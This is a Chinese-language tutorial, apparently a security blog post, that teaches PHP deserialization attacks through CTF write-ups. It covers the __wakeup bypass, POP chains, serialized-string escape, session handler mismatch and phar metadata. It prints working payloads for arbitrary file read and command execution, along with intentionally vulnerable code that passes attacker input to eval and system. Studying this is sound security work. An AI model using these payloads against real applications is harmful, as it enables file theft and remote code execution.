序列化&反序列化
- 因为数据存储的需要于是有了序列化和反序列化函数,类似还有
json_encode
,json_decode
.PHP反序列化的方式很多,漏洞也很多,知识点也很多。于是我想结合CTF
来学习PHP的反序列化漏洞
,再深入到实战。
函数名 |
作用 |
Serialize |
可以将数组或对象转换成字符串进行存储(有时候WAF改变了所存的储数据,则可能产生漏洞) |
Unserialize |
将序列化的字符串转换为PHP值(我们如果能控制反序列化时传输的数据,则可能产生漏洞) |
<?php
class basic{
public $age = 18;
private $name = 'pan3a';
protected $gender = 'man';
var $data = array('one','two');
}
$object = new basic();
$ser = serialize($object);
var_dump($ser);
print_r(unserialize($ser));
- 输出展示,类方法并没有参与序列化这里的
\000
代表一个字符即chr(0)
所展示的字符,由于不可见,经常使用URL编码
来展示。
private
---%00类名%00成员名
protected
---%00*%00成员名
- 在
PHP7.1
后,对成员属性不敏感则可绕过对字符属性检测,同时也可以用大写S,后面字符可用十六进制表示来绕过。可参考网鼎杯2020青龙组AreUSerialz
.
string(133) "O:5:"basic":4:{s:3:"age";i:18;s:11:"\000basic\000name";s:5:"pan3a";s:9:"\000*\000gender";s:3:"man";s:4:"data";a:2:{i:0;s:3:"one";i:1;s:3:"two";}}"
basic Object
(
[age] => 18
[name:basic:private] => pan3a
[gender:protected] => man
[data] => Array
(
[0] => one
[1] => two
)
)
a - array |
b - boolean |
d - double |
i - integer |
o - common object |
r - reference |
s - string |
C - custom object |
O - class |
N - null |
R - pointer reference |
U - unicode string |
PHP魔术方法
- 具体案例可参考---十六个魔术方法详解。
- 也可参考PHP手册---PHP Magic Method
函数名 |
作用 |
__construct |
类的构造函数,在类初始化时自动调用(类似于Python的_init_(self)) |
__destruct |
类的析构函数,PHP5引用,在类作用域结束时使用(通常用于反序列化利用链开始) |
__sleep |
执行serialize()函数之前执行该函数 |
__wakeup |
执行unserialize()函数之前执行该函数(通常用于反序列化之前的初始化,CVE-2016-7124可以Bypass此魔术方法)(PHP5-PHP5.6.25 AND PHP7-PHP7.0.10) |
__tostring |
类被当做字符串时自动调用(比如输出语句,字符串拼接,字符比较等等) |
__invoke |
把类当做一个函数使用时调用 |
__get |
访问不存在属性,或不可访问属性比如protected |
<?php
class people{
public $age;
private $name = 'forever404';
protected $gender;
public function __construct($age, $name, $gender){
$this->age = $age;
$this->name = $name;
$this->gender = $gender;
echo '__construct自动调用啦!';
echo 'My name is '.$name.',I am '.$age.' Years old,'.'I am a '.$gender.'!'.PHP_EOL;
}
public function __destruct(){
echo '当前类的生命周期结束啦,__destruct析构函数被自动调用啦!'.PHP_EOL;
}
public function __sleep(){
echo '调用serialize()函数啦!'.PHP_EOL;
return array('age','name','gender');
// 必须返回父类中序列化元素属性,否则NULL被序列化会报错
}
public function __wakeup(){
echo '调用unserialize()函数啦!'.PHP_EOL;
$this->age = 100;
$this->name = 'Panda';
}
public function __toString(){
return '对象被当做字符串处理了!'.PHP_EOL;
}
}
$O = new people($age='18',$name='pan3a', $gender='man');
$ser = serialize($O);
var_dump($ser);
print_r(unserialize($ser));
echo '这是我的第一个类---'.$O;
?>
- 输出展示,会发现
name
,gender
这两个序列化后的数据不一样,因为他们的属性分别是private
,protected
,这里还有就是__destruct
这个魔术方法被调用了两次,因为有实例化结束调用一次,反序列化结束调用了一次。
__construct自动调用啦!My name is pan3a,I am 18 Years old,I am a man!
调用serialize()函数啦!
/var/www/html/MagicMethod/Deserialize.php:40:
string(94) "O:6:"people":3:{s:3:"age";s:2:"18";s:12:"\000people\000name";s:5:"pan3a";s:9:"\000*\000gender";s:3:"man";}"
调用unserialize()函数啦!
people Object
(
[age] => 100
[name:people:private] => Panda
[gender:protected] => man
)
当前类的生命周期结束啦,__destruct析构函数被自动调用啦!
这是我的第一个类---对象被当做字符串处理了!
当前类的生命周期结束啦,__destruct析构函数被自动调用啦!
Bypass __Wakeup
- 这里就要用到上面提到的
CVE-2016-7124
---反序列化中对象的个数大于真实个数及会绕过!
- 适用范围---PHP5-PHP5.6.25 AND PHP7-PHP7.0.10。
- PHP Online Exec.
<?php
class shell
{
public $command = 'whoami';
public function __wakeup(){
$this->command = NULL;
}
public function __destruct(){
if(isset($this->command)) {
system($this->command);
}else{
echo 'var command is null'.PHP_EOL;
}
}
}
$MyShell = new shell();
$ser = serialize($MyShell);
var_dump($ser);
// $ser = 'O:5:"shell":1:{s:7:"command";s:6:"whoami";}'
//$payload = 'O:5:"shell":2:{s:7:"command";s:3:"pwd";}';
$data = empty($_GET('payload'))?serialize($ser):$_GET('payload');
$obj = unserialize($data);
- 运行结果展示,这里对象回收流程是先创建的后回收,类似与栈机制先进后出。
- 代码分析这个
shell
类首先看见的就是__wakeup
方法,将变量command
赋值为空,然后就是__destruct
方法,如果变量command
不为空则执行该命令。然后我们可控点只有变量data
,但是反序列化数据时,又要先调用__wakeup
方法,因此我们如果想要执行命令则必须绕过这个方法。Google
到这个方法可以通过CVE-2016-7124
来绕过,只需增大序列化的数据即可。因此使用上面的payload
即可。
string(43) "O:5:"shell":1:{s:7:"command";s:6:"whoami";}"
/
root
PHP Notice: unserialize(): Unexpected end of serialized data in /usercode/file.php on line 24
PHP Notice: unserialize(): Error at offset 39 of 40 bytes in /usercode/file.php on line 24
PHP链构造
网鼎杯2020青龙组AreUSerialz
- 这里可用上面两种方法来绕过:1---
PHP7.1
属性不敏感,2---大写S
字符用十六进制。
- BUUCTF 网鼎杯2020青龙组AreUSerialz.
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]:
";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
- 一上来就直接给的源码,首先看程序入口第74行,需要我们
GET['str']
然后再对我们所提交的数据进行反序列化,但是这里又有一个is_valid()
函数对我们的输入进行了限制,大致就是遍历你的输入,对应字符的ASCII码必须再32-125
意思就是可见字符,还不晓得为啥要这么写。再去看看FileHander
类,发现定义的变量属性都是protected
,这种属性反序列化又会是%00*%00变量名
,则会出现不可见字符。再联系那个is_valid()
函数清楚了。然后下其他函数process
(),write()
,read()
,output()
,功能就是函数名,分别是程序执行过程,文件写入,文件读取,输出,其中OP
变量控制程序是读(2)还是写(1)。最后一个__destruct()
,那么就是我们的漏洞点了。
- 分析完函数功能,就来看利用链。首先控制类变量绕过
is_vaild()
,然后然后到__destruct()
,再进入程序控制process()
,我们需要读文件则判断变量OP=='2'
,进入read()
函数,控制变量filename
则造成任意文件读取。
- 于是用到上面的PHP特性知识点。
Google
插件wappalyzer
看到网站是PHP7.4.3
搭建的,变量OP==2
发现__destruct()
用的强等(变量类型和字符都必须相等),但是后面用的弱等,那么则可绕过。
- 发现直接文件名设为
/flag.php
不得行,页面报错了,那么添上绝对路径OK
,flag
在源码里面。
<?php
class FileHandler{
public $op =2;
public $filename="/var/www/html/flag.php";
}
var_dump(serialize(new FileHandler));
//O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:22:"/var/www/html/flag.php";}
?>
<?php
class FileHandler{
protected $op =2;
protected $filename="/var/www/html/flag.php";
}
$exp = (serialize(new FileHandler));
$exp = str_replace('s','S', $exp);
$exp = str_replace(chr('0'),'\00',$exp);
print_r(urlencode($exp));
//O%3A11%3A%22FileHandler%22%3A2%3A%7BS%3A5%3A%22%5C00%2A%5C00op%22%3Bi%3A2%3BS%3A11%3A%22%5C00%2A%5C00filename%22%3BS%3A22%3A%22%2Fvar%2Fwww%2Fhtml%2Fflag.php%22%3B%7D
?>
MRCTF 2020 Ezpop
- BUUCTF MRCTF 2020 Epop.总的来说就是构造利用链吧,看自己喜欢怎么寻找,一种是危险函数回溯方式,一种是根据可控参数寻找。
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."
";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
- 总体来说就只有三个类,应该不算难。定位到危险函数
Modifier
类的append
方法可以包含一个文件,可控参数value
的话,那么造成任意文件包含。若要调用append
方法必须调用魔术方法__invoke
.而invoke
方法又必须是把Modifier
方法当做函数使用时才调用。
- 发现
Test
类中调用了function
方法。而function
方法又来自Test
类中的p
变量可控,可任意调用方法。但必须调用__get
魔术方法才能任意调用方法,而__get
魔术方法有必须是访问一个不存在的属性,或私有受保护的变量。
- 发现
Show
类中的__toString
方法若str
为Test
类,那么则可调用__get
方法,但__toString
方法必须是将类当做字符处理才能触发。
- 反序列化执行之前,会先执行
__wakeup
方法,假如Show
类中的source
是一个类,这里的正则匹配则把这个类当成了字符处理,那么又会看这个类是否有__toString
方法,有则自动调用,我们这里就自己调用自己,那么就会触发该__toString
方法。
Show->wakeup---Show->toSring---Test->get---Modifier->invoke---Modifier->append
<?php
class Modifier{
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct(){
$this->str = new Test();
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$a = new Show();
$a->source = new Show();
print_r(urlencode(serialize($a)));
// O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D
PHP反序列化字符串逃逸
借用哈大佬们名言
- 任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞。(记不得出处了)
0CTF 2016piapiapia
- 反序列化后长度递增
- 打开一个登录框,简单测了一下SQL注入,感觉不存在。于似乎扫了哈目录,发现存在源码泄露(www.zip)。
class.php 主要有Mysql(数据库的增删查改+WAF),user(继承Mysql,函数实现一定的功能)
config.php 配置文件,数据库的连接和flag
index.php 登录
profile.php 展示登录的个人信息和上传的图片
register.php 注册用户
update.php 文件上传
- 由于如果代码全部贴出来文章显得很长了,就展示主要代码吧,由于代码过滤了增删查改几乎无法造成注入。那么就无法从注册登录这个点下手,发现
profile.php
那里有个文件读取函数,如果参数可能那么可能造成任意文件读取咯。
// profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
- 回溯参数
$profile['photo']
来源,是反序列化$profile
出来的,既然有反序列化,那么肯定有序列化.全局搜索serialize
,定位到update.php
文件。
<?php
// update.php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
// 中间删除了一些不必要的代码
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!Your Profile';
}
else {
?>
- 这里发现
$profile['photo']
由一个路径+MD5文件拼接而成,只能控制$file['name']
但是有被加密了,从而无法利用。再继续往下看,发现将序列化的文件进行了上传,跟进函数update_profile
到class.php
<?php
// class.php
class user extends mysql{
// 以上还有数据库的基本操作,但后面无影响,因此不贴出来了
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
}
class mysql{
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
}
?>
- 然后看到
user
类的update_profile
方法其中的new_profile
参数则是serialize($profile)
,这里的两个参数都进过mysql
类中的filter
方法进行过滤。注意这里的new_profile
参数值是一个序列化后的数据,经过filter
方法后可能改变数据结构.我们需要的则是让$profile['photo']=config.php
那么就可得到flag
。但是按照正常程序会如以下执行。
<?php
function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
$file['name'] = '1.php';
$profile['phone'] = '01234567890';
$profile['email'] = '123456@qq.com';
$profile['nickname'] = 'panda';
$profile['photo'] = 'upload/'.md5($file['name']);
$new_profile = filter(serialize($profile));
print_r($new_profile);
// a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:13:"123456@qq.com";s:8:"nickname";s:5:"panda";s:5:"photo";s:39:"upload/f3b94e88bd1bd325af6f62828c8785dd";}
- 这里我们看到字符经过
filter
方法并没有发生改变,这是正常输入的时候,如果不正常的话的那么将select
,insert
,update
,delete
,where
这些字符替换为hacker,细心点就会发现where
替换后变成hacker
字符长度会增加一。
- PHP反序列化时以
;
作为分隔点,}
做为结束标志,根据长度来判断读取多少字符,我们无法控制$profile['photo']
但是可以控制nickname
,如果在这里截断(不在读取后面的内容)我们则可以构造后面的参数值。而nickname
又进行了长度限制,strlen
函数却无法处理数组,因此用数组进行绕过即可我们在这里截断,那么后面的则会被废弃不再读取,从而达到$profile['photo']
参数可控。就类似于,下面用的是数组因此niackname
后面为数组标示。
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:13:"123456@qq.com";s:8:"nickname";a:1:{i:0;s:5:"panda";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/f3b94e88bd1bd325af6f62828c8785dd";}
- 我们则要构造如上的形式,就利用上面的
where
转换后字符长度加一的特性来构造我们的payload。计算下面的payload长度,因此需要34个长度的溢出,则需要34个where
来构造因此拼接如下则是
";}s:5:"photo";s:10:"config.php";}
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
- 刚好反序列化后
$profile['photo']=config.php
.
<?php
function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
$file['name'] = '1.php';
$profile['phone'] = '01234567890';
$profile['email'] = '123456@qq.com';
$profile['nickname'] = array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}');
$profile['photo'] = 'upload/'.md5($file['name']);
$new_profile = filter(serialize($profile));
print_r($new_profile);
echo PHP_EOL;
print_r(unserialize($new_profile));
/*
输出展示
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:13:"123456@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3b94e88bd1bd325af6f62828c8785dd";}
Array
(
[phone] => 01234567890
[email] => 123456@qq.com
[nickname] => Array
(
[0] => hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker
)
[photo] => config.php
)
*/
- 这个就像你有一条
204
米长的绳子,还有一把204米的尺子,这样刚好可以量完长度。但是你的绳子突然长长了,那么一次肯定就不够量了,剩下的只有下次再量。反序列化也是如此,他只根据他的长度来读取内容,剩下的他就不管了,用作下一次读取。
安询杯2019-easy_serialize_php
- 反序列化后长度递减
- 一上来就给源码了,看了一下phpinfo发现自动包含了
d0g3_f1ag.php
文件。
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo 'source_code';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
- 源码不多,首先来个
filter
过滤函数,后面给Session
赋值,extract
则可能变量覆盖。又有file_get_contents()
参数可控的话又会出现任意文件读取。
- 老方法,看了哈文件读取的
$_SESSION['img']
参数不可控,$_SESSION['user']
和$_SESSION['function']
我们可以通过变量覆盖来控制。倘若按照平常来看的话,最后文件读取出来极大可能是乱码,因此现将文件读取路径base64
加密再sha1
加密,那么直接base64
是解不出正常文件的。
<?php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$file = 'd0g3_f1ag.php';
$sess['user'] = 'panda';
$sess['function'] = 'show_image';
$sess['img'] = sha1(base64_encode($file));
$ser_info = filter(serialize($sess));
print_r($ser_info);
// a:3:{s:4:"user";s:5:"panda";s:8:"function";s:10:"show_image";s:3:"img";s:40:"6b9b4b868ded1eb152045ebd5ea11b5be979d3ae";}
- 上面并没有触发过滤函数,如果触发了过滤函数,那么关键字则会被替换为空。假如我们的
user
的值或者function
值中有黑名单中的函数,那么这可能不会成功的反序列化,因为序列化后的结构可能会被打乱。假如$_SESSION['user']='phpflag'
那么序列化后则是
a:3:{s:4:"user";s:7:"";s:8:"function";s:10:"show_image";s:3:"img";s:40:"6b9b4b868ded1eb152045ebd5ea11b5be979d3ae";}
- 可以明显的看出
user
值为空了,但是长度依然不变,则在反序列化时会向后继续读取数据。我们可以构造数据吞并function
,而且function
的值可控,用来构造恶意数据(自己构造img
的值,并在最后截断数据),那么img
则为可控数据了。我们需要构造的数据为,后面的数据为d0g3_f1ag.php
的base64
加密,因为后面要对其进行解密再读取文件。
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
- 由于数组的元素为三个,因此序列化里面的内容也要有三个。随意构造一个数据即可,这里是
$_SESSION['name']='panda'
.
a:3:{s:4:"user";s:24:"";s:8:"function";s:65:"1";s:4:"name";s:5:"panda";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:40:"6b9b4b868ded1eb152045ebd5ea11b5be979d3ae";}
<?php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$file = 'd0g3_f1ag.php';
$sess['user'] = 'flagflagflagflagflagflag';
$sess['function'] = '1";s:4:"name";s:5:"panda";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$sess['img'] = sha1(base64_encode($file));
$ser_info = filter(serialize($sess));
print_r($ser_info);
print_r(unserialize($ser_info));
/*
输出展示,后面读文件以此类推即可。
a:3:{s:4:"user";s:24:"";s:8:"function";s:65:"1";s:4:"name";s:5:"panda";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:40:"6b9b4b868ded1eb152045ebd5ea11b5be979d3ae";}
Array
(
[user] => ";s:8:"function";s:65:"1
[name] => panda
[img] => ZDBnM19mMWFnLnBocA==
)
*/
Session反序列化
Session
?这也是一个超全局变量$_Session
,主要作用为追踪用户,判断请求是否来自同一个用户。比如有一个登录框,用户输入正确账号和密码后,可以访问更多的功能。但是你怎么知道用户是登录或者没登录呢?那么就需要Session
或者Cookie
来判断了。登录成功后可在HTTP Headers
的Cookie
中设置特殊值---Session
来区分登录用户和未登录用户。Session
和Cookie
的主要区别则是Session
值存储与服务器段因此更安全,Cookie
值存储与客户端。
PHP
中的Session
存储有三种处理器,分别对应三种格式。这三种格式分别使用目前没有问题,但是混合使用则会造成漏洞。
处理器 |
存储格式 |
php |
键名+竖线(|)+经过serialize 序列化后的数据(默认使用该处理器) |
php_serialize |
经过serialize 序列化后的数组 |
php_binary |
键名长度对应的ASCII的字符+serialize 序列化后的数据 |
<?php
// php处理器
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['php'] = 'php';
// php|s:3:"php";
<?php
// php_serialize处理器
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['php_serialize'] = 'php_serialize';
// a:1:{s:13:"php_serialize";s:13:"php_serialize";}
<?php
// php_binary处理器
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['php_binary'] = 'php_binary';
// 注意这里的输出有个换行,因此php_binary的长度为10,ASCII码对应的字符为"\n"因此有换行
// php_binarys:10:"php_binary";
- 这里思考一下,如果用
php_serialzie
处理器存储,再用默认的php
处理器读取,是否会出现漏洞呢?php
处理器读取时会以|
作为分隔符,前面作为键名,后面作为键值。假如php_serialize
处理器存储的值中用|
,再用php
处理区去读取,那会怎样呢?
- 提交
$_SESSION['php_serialize']=|s:5:"panda";
再用php
处理器处理时,会认为键名为a:1:{s:13:"php_serialize";s:13:"
,键值为s:5:"panda";";}
然后反序列化出来的值则为panda
后面的长度则会被舍弃。
a:1:{s:13:"php_serialize";s:13:"|s:5:"panda";";}
浅析Session反序列化
- PHP session_start()---会创建新会话或者重用现有会话。如果通过GET或者POST方式,或者使用cookie提交会话ID,则会重用现有会话。当会话开始时,PHP会调用会话管理器的
open
和read
回调函数,通过read
函数返回现有会话数据,PHP会自动反序列化数据并且填充$_SESSION
超全局变量。
- 注意上面是
GET
或者POST
请求而不是在PHPSTORM
中用PHP
脚本执行,这样的话就不是同一个会话,因此无法利用。
//创建Session CreateSession.php
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['username'];
var_dump($_SESSION);
// 读取Session ReadSession.php
<?php
ini_set('session.serialize_handler','php');
session_start();
class vul{
public $command;
public function __wakeup(){
system($this->command);
}
}
// exp Exploit.php
<?php
class vul{
public $command;
public function __construct($com){
$this->command = $com;
}
}
$command = 'pwd';
echo '|'.serialize(new vul($command));
// |O:3:"vul":1:{s:7:"command";s:3:"pwd";}
- 主要有以上三个文件,首先是执行
exp.php
构造攻击payload
,然后再在浏览器中打开CreateSession.php
提交我们的payload
,再在浏览器中打开ReadSession.php
读取Session
,那么我们的命令就会被执行。
jarvisoj.com
- 上面是
Session
可控的情况下,正常情况下当然没得这种可能,因此有人提出了另一种利用方式。
- session.upload_progress.enabled----能够对再每一个文件上传时检测上传进度。当一个上传在处理中,同时POST一个与INI中设置的
session.upload_progress
一样变量名时,上传进度可以再$_SESSION
中获得。
- 综上所述,就是开启
session.upload_progress.enabled
(PHP5.4后可用且为默认开启),构造一个文件上传,POST
一个为session.upload_process
的变量,那么服务器就会将POST
的的这个变量作为键值序列化后存储再session
中,读取时再反序列化这个session
文件。
- jarvisoj----session反序列化。直接给了源码,发现
PHPINFO
中默认的session
存储器与代码中的不一样,因此可能存在漏洞。
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
- 上面的代码很简单,如果
$mdzz
变量可控,那么则会造成一个webshell
。这里因为没有可控的反序列化点,因此需要用到上面的知识点。
- 构造一个文件上传点(upload.html),然后再构造利用链即可。
<?php
// exp.php
class OowoO{
public $mdzz;
public function __construct($command){
$this->mdzz = $command;
}
}
echo '|'.serialize(new OowoO('print_r(scandir(dirname(__FILE__)));'));
// |O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
- 最后访问构造的
upload.html
,burp抓包更改上传文件名值为exp.php
所输出的内容即可,记得访问题目所携带的cookie
。

Phar反序列化
- 随着安全意识的提高,直接存在的
unserialize()
的参数也几乎都是不可控了,于是Sam Thomas
在BlackHat
上提出了新的利用方式。议题PDF.
- 主要参考:Seebug seaii zsx 师傅. 看他们文章自己所学的一些复现与理解。
- 议题的主要内容是可以不用再借助反序列化函数构造反序列化利用链,通过
php
内置的数据流协议-----phar
结合一些文件操作函数(参数可控)。
浅析Phar
- 查看官方手册大概讲的就是
phar
是一个数据压缩协议,可以将多个文件分组成一个文件。可以通过phar
协议直接读取,就像类似的zip
压缩一样。这样的文件当然有固定的特征。(个人理解)
stub
,phar
文件的标志,格式为:xxxxxxx<?php xxxxxxxx; __HALT_COMPILER();?>
,相当于一段文字只要是__HALT_COMPILER();?>
结尾即可。
meta-data
,用户可以自定义的数据,主要是用来存储文件的权限,属性等信息,同时这部分数据是以序列化存储的。
- 最后就是文件的签名,来标识数据的结束。
- 以上就是构造一个
phar
文件上传,然后就是控制文件操作函数(file_exists()
,file_get_contents()
等)来触发反序列化操作。
Demo
- 这里必须要改
php.ini
中的phar.readonly = off
.假如我们发现有个简单的漏洞,能上传文件,但是把能解析的如php
,phtml
,php3
,htaccess
这些都禁止了,那么但靠文件上传也许没办法了(至少我没办法了,哈哈),这里和上面的Session
反序列化有点类似,但是考点不一样,这里无法看Session
的存储器读取和存储时是否一致。
<?php
// vul.php
class WebShell{
public $command;
public function __wakeup(){
if(!empty($this->command)) {
eval($this->command);
}
}
}
$filename = $_GET['filename'];
if(!empty($filename)){
file_get_contents($filename);
}
- 这里很明显考的是反序列化,然后我们可控的只有文件名。于是只有
Phar
反序列化了。构造Phar
文件,下图是我们生成出的文件。
<?php
// CreatePhar.php
class WebShell{
public $command;
}
// 删除原有的phar
@unlink("phar.phar");
// 实例化一个类 文件结尾必须是.phar 生成后你可以更改文件后缀
$phar = new Phar("phar.phar");
// 开始缓冲区输入
$phar->startBuffering();
// 设置Phar标识文件,这里也可构造文件头绕过上传
$phar->setStub("GIF89a "."<?php __HALT_COMPILER();?>");
$o = new WebShell();
$o->command = 'phpinfo();';
// 设置文件属性,添加反序列化内容,构造payload
$phar->setMetadata($o);
// 添加文本,这里的文件名和内容无所谓
$phar->addFromString("test.txt","panda");
// 停止缓冲区输入
$phar->stopBuffering();
?>
- 这里可以看到前一部分可以为文件头,伪造图片文件头,但是必须以
__HALT_COMPILER();?>
结尾,后面就是我们序列化的内容。

- 然后上传我们的文件,再带着上传文件所得的路径去请求
vul.php
即可,如果不允许上传phar
文件,那么将生成的文件改成png
这些都行

- 有时候文件上传仅仅是白名单,那么这就很难办了,文件上传似乎是写死了(没有绝对安全的系统,等待大家去发现吧),这里可以将构造好的
phar
文件后缀更改,他依旧会解析。综上所述,触发漏洞就必须要以下几点:1--有一个反序列化利用链,2--文件名可控(正则匹配或者可绕过),3--能够上传文件,并获得文件路径。
- 如果不能允许开头则
phar
字符还有其他的方式,后面还有Mysql
读取Phar
